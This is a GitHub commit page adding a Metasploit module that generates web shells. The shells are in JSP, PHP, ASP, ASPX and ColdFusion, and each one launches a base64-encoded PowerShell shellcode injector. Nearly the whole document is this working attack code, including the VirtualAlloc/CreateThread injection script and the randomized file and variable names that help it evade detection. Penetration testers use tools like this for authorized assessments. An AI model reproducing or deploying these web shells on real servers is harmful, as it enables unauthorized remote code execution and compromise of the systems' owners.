Skip to content

Commit 540d91f

Browse files
committed
Merge pull request #14 from nullbind/pswebshell
Added MSF PSH WebShell Generator
2 parents 34af8c0 + 407df56 commit 540d91f

File tree

1 file changed

+282
-0
lines changed

1 file changed

+282
-0
lines changed
Lines changed: 282 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,282 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Exploit::Remote
4+
Rank = GreatRanking
5+
6+
include Msf::Auxiliary::Report
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'ps_webshells',
11+
'Description' => %q{This module will generate a webshell in the language defined by
12+
the "WEB_LANG" option that passes a base64 encoded PowerShell
13+
command to the Windows operating system that will execute
14+
the defined MSF payload.
15+
This can be a handy way to deliver Metasploit payloads when you
16+
have the ability to upload arbitrary files to a web server. The
17+
txt extension can also be defined in order to write the raw
18+
PowerShell command to a file for manual execution.},
19+
'Author' =>
20+
[
21+
'Scott Sutherland "nullbind" <scott.sutherland [at] netspi.com>',
22+
'Ryan Gandrud "siegemaster" <ryan.gandrud [at] netspi.com>'
23+
],
24+
'Platform' => [ 'win' ],
25+
'License' => MSF_LICENSE,
26+
'References' => [['URL','http://www.exploit-monday.com/2011_10_16_archive.html']],
27+
'Platform' => 'win',
28+
'DisclosureDate' => 'Oct 10 2011',
29+
'Targets' =>
30+
[
31+
[ 'Automatic', { } ],
32+
],
33+
'DefaultTarget' => 0
34+
))
35+
36+
register_options(
37+
[
38+
OptString.new('WEB_LANG', [true, 'TXT,JSP,PHP,ASP,ASPX,CFM', 'JSP']),
39+
OptString.new('TARGET_ARCH', [true, '64,32', '64']),
40+
OptString.new('OUT_DIR', [true, 'output directory', 'c:\\windows\\temp\\']),
41+
], self.class)
42+
end
43+
44+
def exploit
45+
46+
# Validate architecture variable
47+
if datastore['TARGET_ARCH'] != "64" and datastore['TARGET_ARCH'] != "32" then
48+
print_error("Aborted! TARGET_ARCH \"#{datastore['TARGET_ARCH']}\" is invalid.\n")
49+
return
50+
end
51+
52+
# Randomly set number of chars in file name
53+
the_name_len = 3 + rand(10)
54+
55+
# Randomly set file name
56+
the_file_name = rand_text_alpha(the_name_len)
57+
58+
# Display start to users
59+
print_status("Writing file for msf payload delivery to #{datastore['OUT_DIR']}#{the_file_name}.#{datastore['WEB_LANG']}...")
60+
61+
# Generate powershell command
62+
ps_cmd = gen_ps_cmd
63+
64+
# Generate web shell in specified language
65+
case datastore['WEB_LANG'].upcase
66+
when 'JSP'
67+
output = gen_JSP(ps_cmd)
68+
ext = "jsp"
69+
when 'PHP'
70+
output = gen_PHP(ps_cmd)
71+
ext = "php"
72+
when 'ASP'
73+
output = gen_ASP(ps_cmd)
74+
ext = "asp"
75+
when 'ASPX'
76+
output = gen_ASPX(ps_cmd)
77+
ext = "aspx"
78+
when 'CFM'
79+
output = gen_CFM(ps_cmd)
80+
ext = "cfm"
81+
when 'TXT'
82+
output = ps_cmd
83+
ext = "txt"
84+
else
85+
print_error("Aborted! Output file type is not supported.\n")
86+
return
87+
end
88+
89+
# Output file to specified location
90+
File.open(datastore['OUT_DIR'] + "#{the_file_name}.#{ext}", 'wb') { |file| file.write(output)}
91+
92+
# Get file size
93+
web_shell_size = File.size(datastore['OUT_DIR'] + "#{the_file_name}.#{ext}")
94+
95+
# Display end to users
96+
print_good("#{web_shell_size} byte file written.\n")
97+
print_status("Module execution complete.\n")
98+
99+
end
100+
101+
102+
# ------------------------------
103+
# Generate powershell payload
104+
# ------------------------------
105+
def gen_ps_cmd()
106+
107+
# Create powershell script that will inject shell code from the selected payload
108+
myscript ="$code = @\"
109+
[DllImport(\"kernel32.dll\")]
110+
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
111+
[DllImport(\"kernel32.dll\")]
112+
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
113+
[DllImport(\"msvcrt.dll\")]
114+
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
115+
\"@
116+
$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
117+
[Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
118+
$size = 0x1000
119+
if ($sc.Length -gt 0x1000) {$size = $sc.Length}
120+
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
121+
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
122+
$winFunc::CreateThread(0,0,$x,0,0,0)"
123+
124+
# Unicode encode powershell script
125+
mytext_uni = Rex::Text.to_unicode(myscript)
126+
127+
# Base64 encode unicoded script
128+
mytext_64 = Rex::Text.encode_base64(mytext_uni)
129+
130+
# Setup path for powershell based on arch
131+
if datastore['TARGET_ARCH'] == "32" then
132+
mypath = ""
133+
else
134+
135+
# Adjust slashes for txt vs web language output
136+
if datastore['WEB_LANG'] == "txt" then
137+
slashery = "\\"
138+
else
139+
slashery = "\\\\"
140+
end
141+
mypath="C:#{slashery}windows#{slashery}syswow64#{slashery}WindowsPowerShell#{slashery}v1.0#{slashery}"
142+
end
143+
144+
# Create powershell command to be executed
145+
ps_cmd = "#{mypath}powershell.exe -noexit -noprofile -encodedCommand #{mytext_64}"
146+
147+
return ps_cmd
148+
end
149+
150+
151+
# ------------------------------
152+
# Generate jsp web shell
153+
# ------------------------------
154+
def gen_JSP(ps_cmd)
155+
156+
# Randomly set the var len
157+
the_var_len = 3 + rand(10)
158+
159+
# Randomly set variable name
160+
jsp_var_name = rand_text_alpha(the_var_len)
161+
162+
# Generate JSP script
163+
script = "<%
164+
Process #{jsp_var_name} = Runtime.getRuntime().exec(\"cmd.exe /c \" + \"#{ps_cmd}\");
165+
%>"
166+
end
167+
168+
169+
# ------------------------------
170+
# Generate php web shell
171+
# ------------------------------
172+
def gen_PHP(ps_cmd)
173+
174+
# Generate PHP script
175+
script = "<?php
176+
system(\'cmd.exe /c \' . \'#{ps_cmd}|echo 1>nul\');
177+
?>"
178+
end
179+
180+
181+
# ------------------------------
182+
# Generate asp web shell
183+
# ------------------------------
184+
def gen_ASP(ps_cmd)
185+
186+
# Randomly set the var len
187+
the_var_len = 3 + rand(10)
188+
189+
# Randomly set variable name
190+
asp_var_name = rand_text_alpha(the_var_len)
191+
192+
# Generate ASP script
193+
script = "<%
194+
set #{asp_var_name} = CreateObject(\"WScript.Shell\")
195+
#{asp_var_name}.run \"cmd.exe /c #{ps_cmd}\"
196+
%>"
197+
end
198+
199+
200+
# ------------------------------
201+
# Generate aspx web shell
202+
# ------------------------------
203+
def gen_ASPX(ps_cmd)
204+
205+
# Randomly set variable name 1
206+
the_var_len = 3 + rand(10)
207+
aspx_var_name1 = rand_text_alpha(the_var_len)
208+
209+
# Randomly set variable name 2
210+
the_var_len = 3 + rand(10)
211+
aspx_var_name2 = rand_text_alpha(the_var_len)
212+
213+
# Randomly set variable name 3
214+
the_var_len = 3 + rand(10)
215+
aspx_var_name3 = rand_text_alpha(the_var_len)
216+
217+
# Generate ASPX script
218+
script = "<%@ Page Language=\"VB\" Debug=\"true\" %>
219+
<%@ import Namespace=\"system.IO\" %>
220+
<%@ import Namespace=\"System.Diagnostics\" %>
221+
222+
<script runat=\"server\">
223+
224+
Sub #{aspx_var_name1}(Src As Object, E As EventArgs)
225+
Dim #{aspx_var_name2} As New Process()
226+
Dim #{aspx_var_name3} As New ProcessStartInfo(\"cmd.exe\")
227+
#{aspx_var_name3}.Arguments=\"/c #{ps_cmd}\"
228+
#{aspx_var_name2}.StartInfo = #{aspx_var_name3}
229+
#{aspx_var_name2}.Start()
230+
End Sub
231+
232+
</script>
233+
234+
<html onload=\"#{aspx_var_name1}\" runat=\"server\">
235+
</html>"
236+
end
237+
238+
239+
# ------------------------------
240+
# Generate cfm web shell
241+
# ------------------------------
242+
def gen_CFM(ps_cmd)
243+
244+
# Randomly set variable name 1
245+
the_var_len = 3 + rand(10)
246+
cfm_var_name1 = rand_text_alpha(the_var_len)
247+
248+
# Randomly set variable name 2
249+
the_var_len = 3 + rand(10)
250+
cfm_var_name2 = rand_text_alpha(the_var_len)
251+
252+
# Randomly set variable name 3
253+
the_var_len = 3 + rand(10)
254+
cfm_var_name3 = rand_text_alpha(the_var_len)
255+
256+
# Generate cfm script
257+
script = "<html>
258+
<body>
259+
<cfoutput>
260+
<table>
261+
<form method=\"POST\" action=\"\">
262+
<tr>
263+
<td>Timeout:</td>
264+
<td>< input type=text name=\"timeout\" size=4 <cfif isdefined(\"form.timeout\")> value=\"#form.timeout#\" <cfelse> value=\"5\" </cfif> > </td>
265+
</tr>
266+
</table>
267+
<input type=submit value=\"Exec\" >
268+
</FORM>
269+
270+
<cfsavecontent variable=\"#{cfm_var_name1}\">
271+
<cfexecute name = \"C:\\Windows\\System32\\cmd.exe\" arguments = \"/c #{ps_cmd}\" timeout = \"#Form.timeout#\">
272+
</cfexecute>
273+
</cfsavecontent>
274+
<pre>
275+
##{cfm_var_name1}#
276+
</pre>
277+
</cfoutput>
278+
</body>
279+
</html>"
280+
end
281+
282+
end

0 commit comments

Comments
 (0)